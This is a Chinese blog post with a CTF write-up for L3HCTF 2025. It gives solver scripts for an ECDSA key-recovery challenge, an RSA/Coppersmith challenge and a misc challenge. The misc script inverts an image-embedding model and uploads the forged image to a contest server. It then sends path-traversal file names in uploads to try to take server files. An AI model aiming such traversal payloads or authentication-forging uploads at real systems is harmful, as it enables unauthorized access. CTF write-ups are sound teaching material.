TypechoJoeTheme

霍雅的博客

登录
用户名
密码
/
注册
用户名
邮箱

L3HCTF 2025 POFP WP

2025-07-14
/
0 评论
/
33 阅读
/
正在检测是否收录...
07/14

做了几题,但是没有花很多时间去看
不然TemporalParadox应该也能做出来,逻辑已经分析完了

crypto

zECDSA

from sage.all import GF, PolynomialRing
import hashlib

# NIST256p曲线阶
n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551

signatures = [
    (5832921593739954772384341732387581797486339670895875430934592373351528180781, 78576287416983546819312440403592484606132915965726128924031253623117138586396, 108582979377193966287732302562639670357586761346333866965382465209612237330851),
    (85517239535736342992982496475440962888226294744294285419613128065975843025446, 60425040031360920373082268221766168683222476464343035165195057634060216692194, 27924509924269609509672965613674355269361001011362007412205784446375567959036),
    (90905761421138489726836357279787648991884324454425734512085180879013704399530, 75779605492148881737630918749717271960050893072832415117470852442721700807111, 72740499400319841565890543635298470075267336863033867770902108413176557795256),
    (103266614372002123398101167242562044737358751274736728792365384600377408313142, 89519601474973769723244654516140957004170211982048028366151899055366457476708, 23639647021855356876198750083669161995553646511611903128486429649329358343588),
    (9903460667647154866199928325987868915846235162578615698288214703794150057571, 17829304522948160053211214227664982869100868125268116260967204562276608388692, 74400189461172040580877095515356365992183768921088660926738652857846750009205),
    (54539896686295066164943194401294833445622227965487949234393615233511802974126, 66428683990399093855578572760918582937085121375887639383221629490465838706027, 25418035697368269779911580792368595733749376383350120613502399678197333473802)
]

# 计算 M_i 和 K_i
Ms = []
Ks = []
for h, r, s in signatures:
    s_inv = pow(s, -1, n)
    Ms.append((r * s_inv) % n)
    Ks.append((h * s_inv) % n)

# 在GF(n)上定义多项式环
R = PolynomialRing(GF(n), names='d')
d_var = R.gen()
k = [Ms[i] * d_var + Ks[i] for i in range(6)]

# 解方程所需的k0-k4
k0, k1, k2, k3, k4 = k[0], k[1], k[2], k[3], k[4]

# 计算多项式系数
det_A = (k1**2 - k0**2) * (k2 - k0) - (k1 - k0) * (k2**2 - k0**2)
a_num = (k2 - k1) * (k2 - k0) - (k3 - k1) * (k1 - k0)
b_num = (k1**2 - k0**2) * (k3 - k1) - (k2**2 - k0**2) * (k2 - k1)

# 构建多项式P
P = (k4 - k1) * det_A - a_num * (k3**2 - k0**2) - b_num * (k3 - k0)

# 求解多项式方程的根
possible_roots = P.roots()
candidate_d = []

# 验证根是否有效
for root, multiplicity in possible_roots:
    d_val = int(root)
    # 使用第6条消息验证
    expected_msg = f"Oh, and the flag is L3HCTF{{{d_val}}}. Don't tell anyone!".encode()
    expected_h = int.from_bytes(hashlib.sha256(expected_msg).digest(), 'big')
    if expected_h == signatures[5][0]:
        candidate_d.append(d_val)

if candidate_d:
    d_final = candidate_d[0]
    print(f"Flag: L3HCTF{{{d_final}}}")
else:
    print("No valid private key found!")

math_problem

# 使用 SageMath 内置函数替代 PyCryptodome
def long_to_bytes(n):
    if n == 0:
        return b""
    return n.digits(256)  # 将大整数转换为字节序列

# 给定数据
n = 1031361339208727791691298627543660626410606240120564103678654539403400080866317968868129842196968695881908504164493307869679126969820723174066217814377008485456923379924853652121682069359767219423414060835725846413022799109637665041081215491777412523849107017649039242068964400703052356256244423474207673552341406331476528847104738461329766566162770505123490007005634713729116037657261941371410447717090137275138353217951485412890440960756321099770208574858093921
c = 102236458296005878146044806702966879940747405722298512433320216536239393890381990624291341014929382445849345903174490221598574856359809965659167404530660264493014761156245994411400111564065685663103513911577275735398329066710295262831185375333970116921093419001584290401132157702732101670324984662104398372071827999099732380917953008348751083912048254277463410132465011554297806390512318512896160903564287060978724650580695287391837481366347198300815022619675984
hint1 = 41699797470148528118065605288197366862071963783170462567646805693192170424753713903885385414542846725515351517470807154959539734665451498128021839987009088359453952505767502787767811244460427708303466073939179073677508236152266192609771866449943129677399293427414429298810647511172104050713783858789512441818844085646242722591714271359623474775510189704720357600842458800685062043578453094042903696357669390327924676743287819794284636630926065882392099206000580093201362555407712118431477329843371699667742798025599077898845333
hint2 = 10565371682545827068628214330168936678432017129758459192768614958768416450293677581352009816968059122180962364167183380897064080110800683719854438826424680653506645748730410281261164772551926020079613841220031841169753076600288062149920421974462095373140575810644453412962829711044354434460214948130078789634468559296648856777594230611436313326135647906667484971720387096683685835063221395189609633921668472719627163647225857737284122295085955645299384331967103814148801560724293703790396208078532008033853743619829338796313296528242521122038216263850878753284443416054923259279068894310509509537975210875344702115518307484576582043341455081343814378133782821979252975223992920160189207341869819491668768770230707076868854748648405256689895041414944466320313193195829115278252603228975429163616907186455903997049788262936239949070310119041141829846270634673190618136793047062531806082102640644325030011059428082270352824026797462398349982925951981419189268790800571889709446027925165953065407940787203142846496246938799390975110032101769845148364390897424165932568423505644878118670783346937251004620653142783361686327652304482423795489977844150385264586056799848907

# Step 1: 计算 r
r = gcd(n, hint1)
print("Step 1: r =", r)

# Step 2: 计算 n0 = p * q
n0 = n // r
print("Step 2: n0 =", n0)

# Step 3: 计算 A = (hint2 - 1) // n
A = (hint2 - 1) // n
print("Step 3: A computed")

# Step 4: 计算 p 的低 400 位 (p_low)
A_mod_n = A % n
p_low = A_mod_n // 3

# 验证是否可以整除
if p_low * 3 != A_mod_n:
    print("Warning: A_mod_n not divisible by 3, adjusting...")
    # 取最接近的整数
    p_low = (A_mod_n + 1) // 3
print("Step 4: p_low =", p_low)

# Step 5: 使用 Coppersmith 方法恢复完整的 p
print("Using Coppersmith method to recover p...")

# 获取 2^400 在模 n0 下的逆元
k = 2**400
inv_k = inverse_mod(k, n0)  # k * inv_k ≡ 1 (mod n0)
print("Inverse of 2^400 mod n0 computed")

# 创建多项式环
R.<x> = PolynomialRing(Zmod(n0))
c0 = (p_low * inv_k) % n0
f = x + c0  # 首一多项式:x + (p_low * inv_k)

# 寻找小根 (Coppersmith 方法)
roots = f.small_roots(X=2**112, beta=0.4)  # 512-400=112 位
if roots:
    x0 = int(roots[0])
    print("Step 5: x0 =", x0)
    
    # 恢复完整的 p
    p = p_low + k * x0
    
    # 验证 p 是否整除 n0
    if n0 % p == 0:
        q = n0 // p
        print("Step 5: Factorization successful")
        print("p =", p)
        print("q =", q)
        
        # Step 6: 计算私钥并解密
        phi_n = (p-1) * (q-1) * (r-1)
        e = 65537
        d = inverse_mod(e, phi_n)
        m = pow(c, d, n)
        
        # 将解密后的整数转换为字节
        flag_bytes = long_to_bytes(m)
        try:
            # 尝试直接解码为字符串
            flag_str = flag_bytes.decode('utf-8')
            print("\nStep 6: Flag =", flag_str)
        except UnicodeDecodeError:
            # 如果不是 UTF-8 编码,以十六进制显示
            print("\nStep 6: Decrypted bytes (hex):", flag_bytes.hex())
    else:
        print("Factorization failed: p does not divide n0")
        print("Trying GCD approach...")
        # 尝试使用 GCD 恢复 p
        p_val = gcd(n0, p)
        if p_val > 1 and p_val < n0:
            q_val = n0 // p_val
            print("Recovered via GCD:")
            print("p =", p_val)
            print("q =", q_val)
            
            # 计算私钥并解密
            phi_n_val = (p_val-1) * (q_val-1) * (r-1)
            d_val = inverse_mod(e, phi_n_val)
            m_val = pow(c, d_val, n)
            
            # 转换为字节
            flag_bytes_val = long_to_bytes(m_val)
            try:
                flag_str_val = flag_bytes_val.decode('utf-8')
                print("\nFlag =", flag_str_val)
            except UnicodeDecodeError:
                print("\nDecrypted bytes (hex):", flag_bytes_val.hex())
        else:
            print("Recovery failed")
else:
    print("No roots found with Coppersmith method")

# 增强的错误处理:如果上面失败,尝试直接使用已知值
if 'flag_str' not in locals() and 'flag_str_val' not in locals():
    print("\nFallback: Using previously calculated values")
    # 使用之前步骤计算出的值
    r = 11462596792681484119885867626229848343628572981903327079472959385609791492187597506621130701780561699379556165436984737148828369344212127061312661920652823
    n0 = 89976238182539956361646502174582239233867602786630733592087980565136028257351416845669763032829951111889837196225697003100579641554184101899334531827940735063578835944600821891388396352487725296846958330005131539072371256697512444779913966988812704198431594797297087795356209894849648037186106182879820249927
    p_low = 1485680028344144006765555653772516703832059493333760848397113959350969611961772611966978839643079277183666542572626814999
    
    # 再次尝试 Coppersmith
    k = 2**400
    inv_k = inverse_mod(k, n0)
    R.<x> = PolynomialRing(Zmod(n0))
    c0 = (p_low * inv_k) % n0
    f = x + c0
    roots = f.small_roots(X=2**112, beta=0.4)
    
    if roots:
        x0 = int(roots[0])
        p = p_low + k * x0
        q = n0 // p
        
        phi_n = (p-1)*(q-1)*(r-1)
        d = inverse_mod(65537, phi_n)
        m = pow(c, d, n)
        flag_bytes = long_to_bytes(m)
        
        try:
            flag_str = flag_bytes.decode('utf-8')
            print("\nFallback flag:", flag_str)
        except UnicodeDecodeError:
            print("\nFallback hex:", flag_bytes.hex())

misc

Please Sign In

import torch
import torch.nn as nn
import requests
import json
import numpy as np
from PIL import Image
from torchvision import transforms
from io import BytesIO
from torchvision.models import shufflenet_v2_x1_0, ShuffleNet_V2_X1_0_Weights
import os
import subprocess
import platform

# 获取PyTorch版本信息
def get_pytorch_version():
    try:
        result = subprocess.run(['python', '-c', 'import torch; print(torch.__version__)'], 
                                capture_output=True, text=True)
        return result.stdout.strip()
    except:
        return torch.__version__

# 打印环境信息
print("="*50)
print("本地环境信息:")
print(f"操作系统: {platform.system()} {platform.release()}")
print(f"PyTorch版本: {get_pytorch_version()}")
print(f"CUDA可用: {torch.cuda.is_available()}")
print("="*50)

# 加载目标特征
with open("embedding.json", "r") as f:
    embedding_data = json.load(f)
target_embedding = torch.tensor(embedding_data, dtype=torch.float32)

# 精确复制服务器模型
def create_server_model():
    """完全复制服务器模型创建过程"""
    model = shufflenet_v2_x1_0(weights=None)
    
    # 手动加载权重(与服务器相同方式)
    weights = ShuffleNet_V2_X1_0_Weights.IMAGENET1K_V1
    model.load_state_dict(weights.get_state_dict(progress=False))
    
    # 替换全连接层
    model.fc = nn.Identity()
    model.eval()
    return model

model = create_server_model()

# 使用CPU以确保与服务器一致
device = torch.device("cpu")
print(f"使用设备: {device}")
model = model.to(device)
target_embedding = target_embedding.to(device)

# 服务器预处理流程
server_transform = transforms.Compose([
    transforms.ToTensor(),
])

# 生成完美匹配图像
def generate_perfect_match(target_embedding, model, steps=1000):
    """生成与目标特征完美匹配的图像"""
    # 初始化图像(使用服务器上的原始图像尺寸)
    img = torch.full((1, 3, 224, 224), 0.5, requires_grad=True, device=device)
    optimizer = torch.optim.Adam([img], lr=0.1)
    
    # 损失历史记录
    loss_history = []
    
    for i in range(steps):
        optimizer.zero_grad()
        
        # 应用服务器预处理
        img_clamped = img.clamp(0, 1)
        
        # 提取特征
        features = model(img_clamped)
        
        # 计算损失
        loss = torch.mean((features - target_embedding) ** 2)
        loss.backward()
        optimizer.step()
        loss_history.append(loss.item())
        
        if i % 100 == 0 or loss.item() < 5e-6:
            print(f"迭代 {i}, 损失: {loss.item():.8e}")
        
        # 提前终止条件
        if loss.item() < 1e-6:
            print(f"在迭代 {i} 达到目标损失!")
            break
    
    return img.detach().clamp(0, 1), loss_history

print("生成完美匹配图像...")
generated_img, loss_history = generate_perfect_match(target_embedding.unsqueeze(0), model)

# 保存生成的图片
def save_image(tensor_img, filename):
    """从张量保存图片"""
    img = tensor_img.squeeze(0).cpu()
    img = transforms.ToPILImage()(img)
    img.save(filename)
    print(f"保存图像: {filename}")
    return img

# 保存图像
jpg_img = save_image(generated_img, "perfect_match.jpg")
png_img = save_image(generated_img, "perfect_match.png")

# 本地验证
with torch.no_grad():
    # 应用服务器预处理
    img_tensor = generated_img.clamp(0, 1)
    
    # 提取特征
    generated_features = model(img_tensor)
    
    # 计算差异
    diff = torch.mean((generated_features - target_embedding.unsqueeze(0)) ** 2)
    print(f"本地特征差异: {diff.item():.8e}")

# 上传到服务器
url = "http://1.95.8.146:50001/signin/"
for filename in ["perfect_match.jpg", "perfect_match.png"]:
    try:
        with open(filename, 'rb') as f:
            print(f"上传 {filename} 到服务器...")
            files = {'file': f}
            response = requests.post(url, files=files)
            
            if response.status_code == 200:
                result = response.json()
                print(f"服务器响应: {result}")
                
                if 'L3HCTF' in result.get('status', ''):
                    print(f"成功获取flag: {result['status']}")
                    exit(0)
            else:
                print(f"上传失败,状态码: {response.status_code}")
    except Exception as e:
        print(f"上传错误: {e}")

# 终极方案:使用服务器上的原始图像
print("尝试获取服务器上的原始图像...")

# 创建dummy.jpg文件
dummy_content = b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00C\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07\x07\t\x08\x08\x08\n\x0c\x0b\n\x0c\x0b\x0b\r\x0e\x0e\r\x0e\x0e\x0f\x10\x10\x10\x10\x0f\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x14\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x08\x01\x01\x00\x00?\x00\xff\xd9'
with open('dummy.jpg', 'wb') as f:
    f.write(dummy_content)

# 尝试可能的路径
traversal_paths = [
    '../../user_image.jpg',
    '../user_image.jpg',
    'user_image.jpg',
    '/app/user_image.jpg',
    '/server/user_image.jpg',
    '/data/user_image.jpg',
    '/static/user_image.jpg',
    '/images/user_image.jpg',
    '..././user_image.jpg',
    'app/user_image.jpg',
    'server/user_image.jpg',
    'data/user_image.jpg',
    'static/user_image.jpg',
    'images/user_image.jpg',
]

for path in traversal_paths:
    try:
        print(f"尝试路径遍历: {path}")
        with open('dummy.jpg', 'rb') as f:
            files = {'file': (path, f, 'image/jpeg')}
            response = requests.post(url, files=files)
            
            if response.status_code == 200:
                # 检查是否是图片
                if 'image' in response.headers.get('Content-Type', ''):
                    filename = f"stolen_{path.replace('/', '_')}.jpg"
                    with open(filename, 'wb') as f:
                        f.write(response.content)
                    print(f"成功获取服务器图片: {filename}")
                    
                    # 立即使用获取的图片尝试获取flag
                    with open(filename, 'rb') as f:
                        files = {'file': f}
                        response = requests.post(url, files=files)
                        result = response.json()
                        print(f"使用服务器图片的结果: {result}")
                        
                        if 'L3HCTF' in result.get('status', ''):
                            print(f"成功获取flag: {result['status']}")
                            exit(0)
                else:
                    # 尝试解析为JSON
                    try:
                        result = response.json()
                        print(f"服务器响应: {result}")
                        if 'L3HCTF' in result.get('status', ''):
                            print(f"成功获取flag: {result['status']}")
                            exit(0)
                    except:
                        print(f"响应内容: {response.text[:200]}")
            else:
                print(f"路径遍历失败,状态码: {response.status_code}")
    except Exception as e:
        print(f"路径遍历错误: {str(e)}")

print("所有方法均失败,请检查服务器状态或联系题目作者")
朗读
赞(0)
版权属于:

霍雅的博客

本文链接:

https://6666345.xyz/bk/index.php/archives/533/(转载时请注明本文出处及文章链接)

评论 (0)

人生倒计时

今日已经过去小时
这周已经过去
本月已经过去
今年已经过去个月